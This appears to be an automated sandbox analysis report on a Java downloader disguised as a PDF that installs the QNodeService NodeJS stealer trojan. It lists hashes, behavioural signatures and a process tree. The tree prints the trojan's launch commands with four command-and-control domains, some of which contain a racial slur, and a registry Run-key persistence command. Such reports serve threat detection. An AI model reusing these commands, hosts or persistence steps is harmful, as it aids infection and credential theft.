Analysis

  • max time kernel
    119s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    07-07-2020 08:30

General

  • Target

    Anführungszeichen 00826__pdf.jar

  • Size

    11KB

  • MD5

    c0f75e92112c654930809ee53974d110

  • SHA1

    c9751343def42d1056cbc73461c613c57dc4cf4a

  • SHA256

    e19994da703630d50798f4346431430f349bbab079b015572c48e867e160bd3b

  • SHA512

    c16d650b0bcda2b50b31832f0154e3efcf9bc79c3f97d7fd54535023320fe80a794f7fcef741b1c7f62e3881c99ec43f92c1dea8dcbaadeefee5a88ef2a50cc2

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Anführungszeichen 00826__pdf.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:356
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:3760
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
        3⤵
        • Loads dropped DLL
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        PID:1196

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

  • memory/356-111-0x0000000000000000-mapping.dmp

  • memory/356-118-0x00000211B3400000-0x00000211B3401000-memory.dmp

    Filesize

    4KB

  • memory/1196-122-0x0000000000000000-mapping.dmp

  • memory/1196-124-0x000003A861FC0000-0x000003A861FC1000-memory.dmp

    Filesize

    4KB

  • memory/2208-120-0x0000000000000000-mapping.dmp

  • memory/3760-121-0x0000000000000000-mapping.dmp